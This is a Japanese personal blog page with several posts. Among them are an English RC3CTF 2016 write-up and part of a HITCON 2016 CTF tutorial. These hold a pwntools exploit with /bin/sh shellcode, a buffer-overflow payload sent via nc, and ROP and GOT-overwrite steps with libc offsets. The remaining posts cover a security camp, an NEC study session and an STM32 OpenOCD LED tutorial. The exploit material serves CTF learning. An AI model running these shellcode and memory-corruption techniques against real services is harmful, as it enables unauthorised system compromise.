ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

金沢ミニキャンパーに人気のTomoriNaoシールのお話

友利奈緒 Advent Calendar 2016 の4日目の記事です。 空いてたので突っ込んでおきますね。

セキュリティ・ミニキャンプ in 北陸 2016(金沢)が12月3日(土)、4日(日)に開催されました。

www.security-camp.org

ア!w

f:id:katc:20161205120034p:plain

TomoriNaoのTomoriNaoなのでTomoriNaoシールをお配りました。 お昼休憩にこそっとシールを渡していたら、あちこちからミニキャンパーがシールくれくれと押し寄せてきました。 まるで餌に群がる鳩のような光景です。とさいぬくん(@myon___)にも布教用に数枚渡したので、手元にあった20枚ぐらいのシールが残り数枚になりました。 今ピンチです。

喜びの声を集めました。

TomoriNaoシールは販売予定ですが、「早く販売して♥」(←ハート必要)とうちのリーダーに催促した方がいいかな。 【12/6追記】販売中でした。すみません TomorNaoのメンバーが持っていたりするので、オフラインのイベントで会ったらくださいと言うのもありです。


TomoriNaoシールのパロディネタを思いついたので作ろうかな、なんつって、ガハハ

NEC Cyber Security Tech Session に行ってきたヾノ*>ㅅ<)ノシ

2016年11月26日(土)にNECのトレーニングルームでNEC Cyber Security Tech Sessionが開催され、そこに参加してきました。

atnd.org

イベント公開日の午前中にTwitterに情報が流れて「どうせ東京でしょ」と一回スルーして、あとで日付が26日であることが分かって慌てて参加登録しました。 そのときは補欠でしたが、前日には心優しい(?)キャンセルのおかげで参加できるようになりました(ありがたや~)。

ATNDにある通り、勉強会の体で複数のセキュリティソフトがそれぞれ別にインストールされた環境に検体をぶち込んで遊ぼうぜwというものです。 何かの売り込みがある商用臭いイベントじゃないので不快感がなく、良かったと思います。 参加者層は業界人:学生=3:1くらいでいい感じでした。学生がやたら多いと就活臭くなってしまいすからねー。
# 個人的には、そんなイベントじゃないのに学生がスーツで参加するのはやめちくりという感じ
大量に捕獲したマルウェアを食べて生きているんじゃないの?という人もちらほらいていいっすね👍

懇親会でアルコール提供があるというだけで年齢制限があるイベント(←未成年でも参加したがっていたプロがいたので改善余地あり)でしたが、受付には怖い人はいませんでしたw (T2 SHIBUYA恐ろしや~)
そんなことよりも驚いたのは、受付の人に「友利奈緒ちゃん」とバレてたことですねwどこで知ったんでしょうかね…

[勉強会中のできごとは残念ながらNDAにより検閲] # とりあえずお水ありがとうございます

f:id:katc:20161127170518p:plain

上の写真は懇親会のときの写真です。場所は同じ会場です。 オードブルといろんなお酒とソフトドリンクが置かれました。困ったことに紙製のトングが食べ物をつかみにくいという残念な感じでした😇 勉強会セッションでは静かでしたが、お酒が入ってみんなわいわいという感じで、僕もいろんな方とそのひとの近況とかを話せて良かったです。 この場でも「軽い気持ちで書いたあの文書」読みましたという方が現れました。激中途半端で申し訳ないです、当文書は今でもご意見募集していますー。

そうしているうちに、あっという間に18時なってしまいました><
僕も二次会に参加したかったんですが、名古屋に帰らねばならなかったのでここで退散です><
どんな二次会だったんだろうー?

NECのみなさんありがとうございました。 NECがセキュリティを頑張っていることは勉強会開くなどしてどんどん"それとなく"アピールしていって欲しいと思います👍(失礼な物言いですが、数か月前までは知らなかったもので…)
次回開催を期待しつつ、でわ✋

RC3CTF 2016 Writeup

# 運営がwrtieup読みてぇって書いていたから英語で書くよ (broken English sorry!)

I joined in RC3CTF 2016 (from 2016/11/19 to 20; 48 hours online CTF, Format: Jeopardy) as a member of Ping-Mic to welcome a new team member.

We got 1540 points and ended in 147-th place.

Archived Score Boroad

I solved following challenges:

  • All Trivias (writeups are omitted)
  • Who’s a good boy? - web 100
  • Graphic Design - for 200
  • IMS easy - pwn 150
  • Fensepost - pwn 150
  • Logmein - rev 100
  • *FLE - rev 200 (after contest is over)

This blog post is writeups for those challenges.

Who’s a good boy? - web 100

Just check the content of stylesheet (css file).

https://ctf.rc3.club:3000/doge.css

/*hiya*/
/*compress your frontend*/
/*here's a flag :)*/
flag:RC3-2016-CanineSS

Graphic Design - for 200

I saw # Blender v2.78 (sub 0) OBJ File: at the first line of obj file. I googled and found that obj file is a model data that can be loaded in Blender (one of CG software).

After Blender has imported obj file, I got following scene:

f:id:katc:20161123155707p:plain

Is there only a dynasaw? No, there’s a suspicious model:

f:id:katc:20161123155749p:plain

I made dynasaw invisible and made suspious model visible, then I got flag!!

f:id:katc:20161123155804p:plain

IMS easy - pwn 150

IMS holds records in stack and we can see stack and corrupt it.

C source code of IMS-easy may be like:

// .bss
int* index; // 0x80f0f9c

struct RECORD { // 12 bytes
    char product_code[8]; // 8 bytes
    int product_id; // 4 bytes
}

void print_menu(void) {
    _IO_puts("================================================");
    _IO_printf("|RC3 Inventory Management System (public %s)|\n", "alpha");
    _IO_puts("================================================");
    _IO_puts("1. Add record");
    _IO_puts("2. Delete record");
    _IO_puts("3. View record");
    _IO_puts("4. Quit");
    _IO_printf("Choose: ", "alpha");
    return;
}

int process_choice(int* arg0, int* index) {
    char buf[]:     // ebp-0x24
    int user_index; // ebp-0x18
    int i;          // ebp-0xC

    _IO_fgets(buf, 0xc, stdin); // upto 12 chars
    stack[2034] = 0x0;
    eax = strtol(buf, stack[2034], 0xa);
    // eax = eax;
    if (eax == 0x2) { // delete
        _IO_printf("Enter index to delete: ", stack[2034]);
        _IO_fgets(buf, 0xc, stdin);
        user_index = strtoul(buf, 0x0, 0xa);
        if ((user_index >= 0x0) && (*index > user_index)) {
                for (i = user_index + 0x1; i < *index; i++) {
                        memcpy(arg0 + (i + i + i << 0x2) + 0xfffffff4, (i + i + i << 0x2) + arg0, 0xc);
                }
                *index -= 1;
        }
        else {
                _IO_puts("That record does not exist");
        }
        return 0;
    }
    else if (eax == 0x1) { // register
        _IO_printf("Enter product ID: ", 0xa);
        _IO_fgets(buf, 0xc, stdin); // up to 12 chars
        eax = *index;
        *(0x8 + (eax + eax + eax << 0x2) + arg0) = strtoul(buf, 0x0, 0xa);
        _IO_printf("Enter product code: ", 0x0);
        _IO_fgets(buf, 0xc, stdin); // up to 12 chars
        var_14 = sub_80482c0(); // @plt
        if (var_14 != 0x0) {
                *(int8_t *)var_14 = 0x0;
        }
        eax = *index;
        sub_8048260();
        *index += 0x1;
        return 0;
    }
    else if (eax == 0x3) { // view
        _IO_printf("Enter the index of the product you wish to view: ", stack[2034]);
        _IO_fgets(buf, 0xc, stdin);
        user_index = strtol(buf, 0x0, 0xa);
        eax = *(0x8 + arg0 + (user_index + user_index + user_index << 0x2)); // information leak
        _IO_printf("Product ID: %d, Product Code: ", eax);
        fwrite(arg0 + (user_index + user_index + user_index << 0x2), 0x8, 0x1, stdout); // information leak
        fflush(stdout);
        return 0;
    }
    else {
        return 0x1;
    }  
}


int main(void) {
    RECORD* records[N]; // esp+0x1c

    esp = (esp & 0xfffffff0) - 0x60;
    setbuf(stdout, 0x0);
    sub_8048290(); // sub_8048290@plt
    do {
            print_menu();
            if (process_choice(records, index) != 0x0) {
                break;
            }
            _IO_printf("There are %d records in the IMS\n\n", *index);
    } while (true);
    return 0x0;
}

To obtain shell, I did:

  • write shellcode in records since NX bit is disabled
  • overwrite return address to address of shellcode (records)

this is exploit code to get shell (very dirty, sorry):

from pwn import *
from sys import argv

# context.log_level = 'debug'

BIN = "./IMS-easy"

## NOT WORKS!!
## http://shell-storm.org/shellcode/files/shellcode-585.php (25 bytes)
## shellcode = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
#
## http://shell-storm.org/shellcode/files/shellcode-827.php (23 bytes)
## shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# http://shell-storm.org/shellcode/files/shellcode-811.php (28 bytes)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

LOCAL = True
def bp():
    if LOCAL:
        raw_input("break point: ")

e = ELF(BIN)
if len(argv) > 1 and argv[1] == "r":
    LOCAL = False
    r = remote("ims.ctf.rc3.club", 7777)
else:
    r = process(BIN)

"""
1. Add record
2. Delete record
3. View record
4. Quit
"""

def add(product_id, product_code):
    r.sendline('1')
    r.sendline(product_id)
    r.sendline(product_code)

def delete(index):
    r.sendline('2')
    r.sendline(index)

def view(index):
    r.sendline('3')
    r.sendline(index)

def quit():
    r.sendline('4')

def wait_for_choice():
    r.recvuntil("Choose: ")

def parse_view():
    res = r.recvuntil("the IMS\n")
    # print res
    m = re.findall("Product ID: (\d+), Product Code: ([\x00-\xff]{8})There are \d+ records in the IMS", res)
    if m == None:
        log.error("view response error")
    _id, _code = m[0]
    return int(_id), u32(_code[4:8]), u32(_code[0:4])

DIG_INDEX = 7

# print "---------"
# for i in range(DIG_INDEX):
#     wait_for_choice()
#     view(str(i))
#     print "%#x, %#x, %#x" % parse_view()
# print "---------"

"""
0020| 0xffdfc7ac ("BBBBBBBB")
0024| 0xffdfc7b0 ("BBBB")
0028| 0xffdfc7b4 --> 0x0 
0032| 0xffdfc7b8 ("BBBBBBBB\001")
0036| 0xffdfc7bc ("BBBB\001")
0040| 0xffdfc7c0 --> 0x1 
0044| 0xffdfc7c4 --> 0x0 
0048| 0xffdfc7c8 --> 0x0 
0052| 0xffdfc7cc --> 0x0 
0056| 0xffdfc7d0 --> 0x0 
0060| 0xffdfc7d4 --> 0x0 
0064| 0xffdfc7d8 --> 0x0 
0068| 0xffdfc7dc --> 0x0 
0072| 0xffdfc7e0 --> 0x0 
0076| 0xffdfc7e4 --> 0x0 
0080| 0xffdfc7e8 --> 0xffdfc88c --> 0xffdfd671 ("LC_MEASUREMENT=en_US.UTF-8")
"""

wait_for_choice()
view("5")
_, _, records_ptr = parse_view()
records_ptr -= 0xe0
log.info("records = %#x" % records_ptr)

"""
0056| 0xffa7da80 ("BBBBBBBB\003")
0060| 0xffa7da84 ("BBBB\003")
0064| 0xffa7da88 --> 0x3 
"""

# 0
wait_for_choice()
add(str(u32(shellcode[8:12])), shellcode[0:8])
# 1
wait_for_choice()
add(str(u32(shellcode[20:24])), shellcode[12:20])
# 2
wait_for_choice()
add(str(0x114514), shellcode[24:28].ljust(8, '\x90'))
# add(str(0x114514), "\x90"*8)
for i in range(3):
    wait_for_choice()
    add(str(0x90909090), "\x90"*8) # nop sled
# 6 (overwrite return address)
wait_for_choice()
add(str(records_ptr), "A"*8)

bp()

# print "---------"
# for i in range(DIG_INDEX):
#     wait_for_choice()
#     view(str(i))
#     print "%#x, %#x, %#x" % parse_view()
# print "---------"

wait_for_choice()
quit() # trigger shellcode!!

r.interactive()
[katc@K_atc IMS-easy]$ python2 IMS-easy.py r
[*] Stack is executable!
[+] Opening connection to ims.ctf.rc3.club on port 7777: Done
[*] records = 0xffb31b1c
[*] Switching to interactive mode
$ ls /home
IMS-easy
IMS-hard
ubuntu
$ cd /home/IMS-easy
$ ls
IMS-easy
flag.txt
$ cat flag.txt
RC3-2016-REC0RDZ-G0T-R3KT

Fencepost - pwn 150

C source code of fencepost may like:

void congratz(void) {
    puts("Good job! Run on the server to get the actual flag.");
    return;
}

int main(void) {
    int var_4; // rbp-4
    char[] user_input; // rbp-48

    var_4 = 0xffffffff;
    puts("=== Welcome to the RC3 Secure CTF Login ===");
    puts("=== Please enter the correct password below ===");
    do {
            printf("Password: ");
            __isoc99_scanf("%s", user_input);
            rax = strlen(user_input);
            rax = rax + 0x1;
            user_input[rax] = '\0';
            if ([rbp-0x4] == 0x0) {
                break;
            }
            rax = strcmp(user_input, "not-the-real-pass");
    } while (rax != 0x0);
    if (var_4 == 0x0) {
            rax = congratz();
    }
    return rax;
}

We have to:

  • overwrite [rbp-4] to be 0

BOF is enough to overwrite variables value on stack. Since I didn’t know scanf takes NULL bytes, I thought it’s hard problem, but it’s very simple.

To get flag:

tc@K_atc fencepost]$ echo -e "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\0\0\0\0\0\0\0\0" > payload 
[katc@K_atc fencepost]$ cat payload - | nc 52.71.70.98 2091
=== Welcome to the RC3 Secure CTF Login ===
=== Please enter the correct password below ===
Password: RC3-2016-STACKPWN

Logmein - rev 100

Just use angr. find address is 0x4007f0 (congratz), avoid address is 0x4007c0 (incollect). I used Hopper plugin I developed. it took several seconds.

[*] bin path = /home/katc/Dropbox/CTF/rc3-fall-2016/logmein/logmein
found #avoid at 0x4007c0
found #find at 0x4007f0
finds = 0x4007f0
avoids = 0x4007c0
[*] executing angr script
==== [angr] ====
[*] angr exploring...
[*] found: stdin = 'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
==== [angr:stderr] ====
/usr/lib/python2.7/site-packages/pyvex/block.py:75: UserWarning: implicit cast from 'char *' to a different pointer type: will be forbidden in the future (check that the types are as you expect; use an explicit ffi.cast() if they are correct)
1)

================
[*] solve done

FLE - rev 200

Hint says “Try reversing it.” but I reversed (= decompiled) all things. but I got wrong flag:RC3-NOT-THE-FLAG-YOURE-LOOKING-FOR.

irc says just reverse it to get flag:

[04:17] <pwn3rs> any hints on rev 200 fle?
[04:17] <READY4THESCHWIFT> RE IT
[04:17] <wumb0> no
[04:17] <wumb0> reverse it
[04:18] <ducphan> lol fencepost changed category
[04:18] <pwn3rs> reversed it in ida
[04:18] <StatesideCash> yes
[04:18] <pwn3rs> found the bad flag
[04:18] <pwn3rs> and there is something in overlay
[04:19] <magu> dont spoil

So what? …Oh, reverse means reverse some strings?! But I didn’t think I need to reverse ELF file and replace first 4 bytes FLAG with \x7fELF.

following part is checking user input routine:

080480ae         add        ecx, eax
080480b0         inc        ecx
080480b1         mov        byte [ds:ecx], 0x0
080480b4         mov        esi, esp
080480b6         call       0x80480bb
080480bb         pop        ecx                                                 ; XREF=_start+42
080480bc         sub        ecx, 0xbb
080480c2         push       ecx
080480c3         push       0x0
080480c5         push       0x0
080480c7         mov        eax, dword [ds:ecx+0x1d02]
080480cd         bswap      eax
080480cf         push       eax
080480d0         mov        eax, dword [ds:ecx+0x1cfa]
080480d6         bswap      eax
080480d8         push       eax
080480d9         mov        eax, dword [ds:ecx+0x1dd1]
080480df         bswap      eax
080480e1         push       eax
080480e2         mov        eax, dword [ds:ecx+0x1bc7]
080480e8         bswap      eax
080480ea         push       eax
080480eb         mov        eax, dword [ds:ecx+0x148a]
080480f1         bswap      eax
080480f3         push       eax
080480f4         mov        eax, dword [ds:ecx+0x1482]
080480fa         bswap      eax
080480fc         push       eax
080480fd         mov        eax, dword [ds:ecx+0x147a]
08048103         bswap      eax
08048105         push       eax
08048106         mov        eax, dword [ds:ecx+0x1dc1]
0804810c         bswap      eax
0804810e         push       eax
0804810f         mov        eax, dword [ds:ecx+0x1bc2]
08048115         bswap      eax
08048117         push       eax
08048118         mov        eax, esp
0804811a         dec        ebx
0804811b         xor        ecx, ecx

0804811d         cmp        ecx, ebx                                            ; XREF=_start+163
0804811f         jge        0x8048131

08048121         mov        dl, byte [ds:eax]                                   ; *cipher
08048123         xor        dl, byte [ds:esi+ecx]                               ; user_input[ecx]
08048126         mov        byte [ds:esi+ecx], dl
08048129         add        eax, 0x1
0804812c         add        ecx, 0x1
0804812f         jmp        0x804811d

08048131         add        esp, 0x2c                                           ; XREF=_start+147
08048134         pop        ecx
08048135         lea        edi, dword [ds:ecx+0x1bcc]
0804813b         mov        ecx, ebx
0804813d         dec        ecx
0804813e         mov        esi, esp
08048140         call       calc_checksum
08048145         test       eax, eax
08048147         jne        avoid_0x804815a

It’s hard to analyze statically, so I carried out dynamic analysis with gdb and I could calculate real flag following python script:

# set break point at 0x08048118,in gdb, and see *$esp
good_known1 = "ahJd\024\032G\031\003r6\bl\033.jl\032UghvFd{\035P\177gc\022\005a\005"

# set break point at 0x08048140 in gdb, and see *$edi
# $edi = 0x8049bcc
good_known2 = "3+yI&*v/.+sI$6j+8Ix%-\"\022!)0\022\060.*\022W\"6"

flag = ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(good_known1, good_known2)])
print flag

the result is:

"""
[katc@K_atc fle]$ python2 fle-solved.py 
RC3-2016-YEAH-DATS-BETTER-BOIIRC3
"""

I (we) usually participate in non-bigginer contests and I felt unsatisfactory, but I think it’s good a measure to get used to SECCON online CTF.

In “IMS hard”, I got to get shell locally (Ubuntu 14.04LTS), but it didn’t work corretly against remote server. What went wrong…? (It seemed Ubuntu’s prebuild libc is working on the server insted of customised libc:()

STM32F7 Discovery でOpenOCD+gdbによるLチカ

近いうちにOpenOCDを使う用件があるので、練習のためにSTM32F7 Discoveryで遊んでみました。 初心者向けに書きましたが、執筆時間の時間の都合で以下の事項は既習としてます。

  • 基本的なLinuxコマンドライン操作
  • gdb
  • MMIO(メモリマップドI/O)
  • GPIOが何なのか(と言っても文字通りの意味でしか無い…)

akizukidenshi.com

静電容量式のタッチディスプレイやSDカードスロット、オーディオI/Fなどがついてて8000円と良心的な値段設定です。 僕の手元にあるものは、ETという展示会(宇宙人はいませんが、昨年はR2-D2がいました?!)でSTマイクロエレクトロニクスのワークショップ的なものに参加してもらったものです。 来月にETやりますし、きっと似たような方法でもらえるかもしれません。
# ワークショップは有償開発環境の1日限定ライセンスのもとで実施されました

デバッグポートはST-Linkというもので、なんとUSBケーブル一本でデバッグできちゃいます。 組み込み特有のジャンパーコードやらきしめんみたいなリボンケーブルが必要ありません。 経済的で、初心者に優しいですね! 同じボードを用意できない場合は、Nucleoというボードが3000円くらいなので、そちらの方がお求めやすいかもしれません。

akizukidenshi.com

本エントリーでは、OpenOCDというデバッグ環境を用意した後、OpenOCDでターゲット(デバックするボードのこと)に接続し、 gdbでOpenOCDにアタッチし、手動でLチカするという内容でお送りします。

OpenOCDのビルド

詳細はそこまで知りませんが、OpenOCDはOpen On-Chip-Debuggerの略で、 JTAGデバッガなどを通じて、ホストPCからCPUが入っているマイコンに直接命令できるようなシステムです。 組み込み開発で有償開発環境(IAR Embedded Workbenchとか)を用意できない場合、gdbと合わせて使われるソフトウェアとして名前が上がるような代物です。 はじめに書きますが、100%ちゃんと動くことを期待しちゃダメです。気楽に使いましょう。

OpenOCDのビルドは比較的簡単です。 ダウンロード先はsourceforgeとgit(github)の2通りあります。 基本的にどちらでも良いですが、githubに上がっている方が良いかもしれません。 というのも、OpenOCDではJTAGデバッガやターゲットの設定を書いたスクリプトファイル(cfgファイル)が付属しているのですが、 github版のほうがそのファイルが豊富です。

OpenOCDのビルドは、基本的なビルド環境が揃っていることを前提に、以下のパッケージを必要とします。 ビルド前にaptとかで入れてください。

  • pkg-config
  • libusb-1.0*

さらに、gccのバージョンが重要で、4系でmakeが通ります。 色々考えるのが面倒なので、僕はVMのREMNuxでmake&&make installしてから、ホストにインストールしました。

以下は、ダウンロード済みのソースをビルドするためのコマンドです。

./bootstrap # git版のみ必要。configureが生成される
./configure --enable-ftdi # ftdiチップ関連の機能を有効にする
### configureにより、ftdiの項目がyesになっていることを確認する
make -j4
sudo make install

OpenOCDでターゲットに接続

OpenOCDでは、コマンドラインオプション-fで、ターゲットやハードウェアの方のデバッガに対応したcfgファイルを与えねばなりません。 バージョン0.9時点では、それらはtclというディレクトリの中に入っています。 注意すべきことは、-fで与えたパスが深すぎると依存関係を解決出ないという理由でエラーが出ます。 以下のように、-sオプションでベースディレクトリを教えるとうまく動いてくれます。 (まあカレントディレクトリにcfgをコピるのが一番楽ですがね)

root権限のあるシェルで実行しないと Error: libusb_open() failed with LIBUSB_ERROR_ACCESS と出て動きません

openocd -s tcl -f board/stm32f7discovery.cfg 

うまく接続するとこんな感じになります。

[root@K_atc openocd-git]# openocd -s tcl -f board/stm32f7discovery.cfg 
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
adapter speed: 2000 kHz
adapter_nsrst_delay: 100
srst_only separate srst_nogate srst_open_drain connect_deassert_srst
Info : Unable to match requested speed 2000 kHz, using 1800 kHz
Info : Unable to match requested speed 2000 kHz, using 1800 kHz
Info : clock speed 1800 kHz
Info : STLINK v2 JTAG v28 API v2 SWIM v16 VID 0x0483 PID 0x374B
Info : using stlink api v2
Info : Target voltage: 3.201043
Warn : Silicon bug: single stepping will enter pending exception handler!
Info : stm32f7x.cpu: hardware has 8 breakpoints, 4 watchpoints

gdb起動

arm版のgdbを忘れずに用意します。 arm-none-eabi-gdbあたりがパッケージマネージャー使えば入るはずです。

OpenOCDがlocalhostの3333版ポートでgdbからのアタッチを待っています。 target remote :3333で会いに行きましょう〜
# -xは今は無視で

[katc@K_atc jtag]$ arm-none-eabi-gdb -q -x stm32f7.gdb 
/home/katc/.gdbinit:1: Error in sourced command file:
future__ import absolute_import:8: Error in sourced command file:
Undefined command: "from".  Try "help".
0x00000000 in ?? ()
(gdb) target remote :3333
Remote debugging using :3333
0x00000000 in ?? ()
(gdb) monitor targets
    TargetName         Type       Endian TapName            State       
--  ------------------ ---------- ------ ------------------ ------------
 0* stm32f7x.cpu       hla_target little stm32f7x.cpu       running
(gdb) 

手動Lチカ

gdbを使ってLチカさせていきましょう。

[datasheet]のBlock Diagramと[manual]を見ると、LD1というLEDがPI1に、PI1はGPIOI[1]につながっていることが分かります。
# このボードはArduinoのシールドとしても使えるらしいです。LD1はArduinoから操作することを考慮しているように見えますね。

f:id:katc:20161106000603p:plain f:id:katc:20161106000611p:plain

[datasheet]を見ると、GPIOIはメモリアドレス0x4002 2000 ~ 0x4002 2fffにマッピングされており、 [2]によると、0x40022000をベースアドレスとして、オフセット0にGPIOIのモードを変更するレジスタ(MODER)と、オフセット0x14に出力値を入れるレジスタ(ODR)があることが分かります。

f:id:katc:20161106000628p:plain

GPIOでは、ポートで外部入力を期待するのか外部出力するのか、またはその他(めいんどいので省略)なのかを特定のレジスタに教えることになります。 今回はそのレジスタはこのMODERというレジスタです。 [2]によると、今回はLEDを操作したいのでポートは出力モードで、そのためにはGPIOI[1]のモード設定でMODERの[3:2](2ビットから3ビット)を1にすれば良いことが分かります。

MODERレジスタの構成と値の意味

[2]を見る限り、とりまPI1に1を送るにはODR[1]に1をセットすれば良さそうです(←プルアップされているかどうかで話が変わりうる。結果としては1がLEDのONを意味する)

([2]にプルアップやプルダウンの文字がありますが、見なかったことにします。 0か1でLEDが点く話ですからね。)

以上より、LEDに関する初期化とLEDをon/offするコード、果てはLチカするユーザー関数のコードは次のgdbスクリプトに落ち着きます。
(ついでに、アタッチとターゲットのリセットを行います)

target remote :3333
monitor reset

### wait for target
shell sleep 2

set $GPIOI=0x40022000
set $GPIOI_MODER=$GPIOI+0x0
set $GPIOI_ODR=$GPIOI+0x14

### init led port
# MODER[2:3] = 2 (General purpose output mode)
set *(int *)$GPIOI_MODER=*$GPIOI_MODER|0x4 

def -ld1-on
    # ODR[1] = High
    set *(int *)$GPIOI_ODR=*$GPIOI_ODR|1<<1
end

def -ld1-off
    # ODR[1] = Low
    set *(int *)$GPIOI_ODR=*$GPIOI_ODR&~(1<<1)
end

def -LD1
    printf "SIGINT (Ctrl+C) to quit..."
    while(1)
        -ld1-on
        shell sleep 0.5
        -ld1-off
        shell sleep 0.5
    end
end

Lチカコマンドこと-LD1を実行すると無限ループの中で0.5秒毎にLD1が明滅します。おわり

[katc@K_atc jtag]$ arm-none-eabi-gdb -q -x stm32f7.gdb 
/home/katc/.gdbinit:1: Error in sourced command file:
future__ import absolute_import:8: Error in sourced command file:
Undefined command: "from".  Try "help".
0x00000000 in ?? ()
(gdb) -LD1
SIGINT (Ctrl+C) to quit...^CQuit
(gdb) 

f:id:katc:20161106000453p:plain

おまけ:OpenOCDのこんなときは

ターゲットをリセットしたい

ボードのリセットボタンを押すか、gdb(3333番ポート)からmonitor resetを送るか、telnet/nc(4444番ポート)からresetを送ります。

ターゲットをhaltしたい。haltをrunningに戻したい

gdbでの方法の説明に絞ります。

haltにするとき:monitor halt runningに戻したいとき: monitor reset run

(gdb) monitor halt
stm32f7x.cpu: target state: halted
target halted due to debug-request, current mode: Thread 
xPSR: 0x61000000 pc: 0x0803981c psp: 0x20007658
(gdb) monitor targets
    TargetName         Type       Endian TapName            State       
--  ------------------ ---------- ------ ------------------ ------------
 0* stm32f7x.cpu       hla_target little stm32f7x.cpu       halted
(gdb) monitor reset run
(gdb) monitor targets
    TargetName         Type       Endian TapName            State       
--  ------------------ ---------- ------ ------------------ ------------
 0* stm32f7x.cpu       hla_target little stm32f7x.cpu       running

# monitor reset run だと一回リセットが入るみたいだし、haltから再開する方法は無いのかな?

参考文献


ところで抵抗とコンデンサとLEDをラベルを見ずに外見だけで見分けるいい方法無いですかね…

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 後編

前編の続きです。Unlink Attackにより、任意アドレスの内容を書き換えられるようになりました。

katc.hateblo.jp

いよいよ後編はGOT Overwriteからシェル起動までを行います。

f:id:katc:20161016235657p:plain

解法が二種類あるので分けて書きます。 ぶっちゃけROPは初めてなので誤った説明があったらコメント欄などで指摘しちゃってください。

解法1(Stack SmashingからのROP作戦)

しふくろくん方式です。

GOT overwrite & information leak

ROPによりシェル起動を目標にします。 この状況に至るための条件は次の通りです。

  1. systemのオフセットアドレスが分かっている(or libcを同定できている)
  2. libcのベースアドレスが分かっている
  3. stack smashingによりリターンアドレスの書き換えが可能(gets()相当のgadgetが必要)
  4. __stack_chk_fail()の呼出しによりexit()されない
  5. ROPで関数を呼出したときに第一引数をスタックからセットできる(pop rdi; ret;なgadgetが存在する)

それぞれの条件を満たす方法を順に説明します。

条件1(libcの同定とsystemのオフセットアドレス)

条件1は__libc_start_main()のアドレスからオフセットの下位1バイトが分かり、 サーバーのOSはどのpwnの問題でも一緒じゃないのという山勘で他の問題のlibcを見ればsystemのオフセットが分かっちゃったりします。 今回もそうだったみたいですが、 今はローカルでやってるので僕のLinuxのlibcでの話になります。

まずlibcの同定をします。 同定の手順は次の通りです(一応説明)。 libcのデータベースはlibcdb.comを久しぶりに使おうと思いましたが、古いみたいのので却下して、 niklasb/libc-database を使いました。
# ローカルはUbuntuでなく、(CTFのサーバーで採用されない、libc-databaseでも./getされない)Archi Linuxのlibcなので./add /usr/lib/libc-2.24.soしてあります

  1. libcの2つの関数のアドレスを明らかにする
  2. libc-databaseに1の結果を入れて検索
  3. ヒットしたら勝ち!

やるだけですね。どの2つの関数にするのかの問題はありますが、今回は__libc_start_mainreadをターゲットにします。 スクリプトは最後に添付します。結果はこうなりました。

[katc@K_atc SecretHolder]$ python2 SecretHolder-libc.py
[+] Started program './SecretHolder.patched'
__libc_start_main = 0x7efdf89ba1a0
read = 0x7efdf8a754c0
[*] libc address inspection done
[*] Stopped program './SecretHolder.patched'

はい検索(出来レース)。

% ./find __libc_start_main 1a0 read 4c0                                                                                                    (master *=)
/usr/lib/libc-2.24.so (id local-be8674d37e98b454154e94b989aa08f18611bafd)

最後にsystem/bin/shのオフセットアドレスも調べておきます。

[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep " system$"
  5821: 000000000003f4d0    45 FUNC    WEAK   DEFAULT   13 system
[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep start_main
  2120: 00000000000201a0   458 FUNC    GLOBAL DEFAULT   13 __libc_start_main@@GLIBC_2.2.5
  6322: 00000000000201a0   458 FUNC    GLOBAL DEFAULT   13 __libc_start_main
[katc@K_atc SecretHolder]$ strings -tx /usr/lib/libc.so.6 | grep /bin/sh$
 161359 /bin/sh  

systemと/bin/shのオフセットアドレスはそれぞれ0x3f4d0、0x161359であることが分かりました。

条件2(libcのベースアドレス)

条件2はオフセットが分かっているlibcの関数のGOTに入っている値を読み取れば、引き算でlibcのベースアドレスが分かるので条件を満たせます。

条件3(リターンアドレス書き換え)

条件3はgets()相当の関数を探せばいいだけです。アドレス0x4009f9からのgadgetが使えそうです。

[katc@K_atc SecretHolder]$ objdump -Mintel -d SecretHolder | egrep "call.+read" -B 4
... snipped ...
--
  4009f9:   ba 80 1a 06 00          mov    edx,0x61a80
  4009fe:   48 89 c6                mov    rsi,rax
  400a01:   bf 00 00 00 00          mov    edi,0x0
  400a06:   b8 00 00 00 00          mov    eax,0x0
  400a0b:   e8 f0 fc ff ff          call   400700 <read@plt>
--
... snipped ...

条件4(SSP無効化)

条件4は__stack_chk_fail()のGOTを書き換えて、retに飛ばせばいいだけです。 テキトーなret gadgetに飛ばせばいいですね。

条件5(関数の第1引数)

条件5はinfrmation loak時にputs(buf)をすることを意識しています。 x86-64ではrdiがcallする関数の第一引数に対応するため、callする1手前時点のスタックトップをrsiに入れてくれるpopret(pop rdi; ret;)が必要になります。 幸いにもそのgadgetがあります。

gdb-peda$ asmsearch "pop rdi;ret"
Searching for ASM code: 'pop rdi;ret' in: binary ranges
0x00400e03 : (5fc3) pop    rdi; ret

まとめ

というわけでGOT Overwriteとlibcのベースアドレスのリークはこのようなコードになります。

addr = {
    "puts": 0x4006c0,
    # "sh": 0x4020ef + 7, # not loaded to memory
    "mygets": 0x4009f9,
    "main": 0x400cc2,
    "exit": 0x400770,
}

got = {    
    "__libc_start_main": e.got["__libc_start_main"],
    "__stack_chk_fail": e.got["__stack_chk_fail"],
    "memset": e.got["memset"],
}

"""GOT overwrite"""
renew(small, ''.join([              # 0x0x6020b0-0x18 (0x602098):
    '\0' * 0x8,                     # (padding)
    p64(got["memset"]),             # big_secret
    p64(0),                         # huge_secret (not used in this exploit)
    p64(got["__stack_chk_fail"]),   # small_secret
    p32(1) * 3                      # holding_{big,huge,small}_secret
    ]))
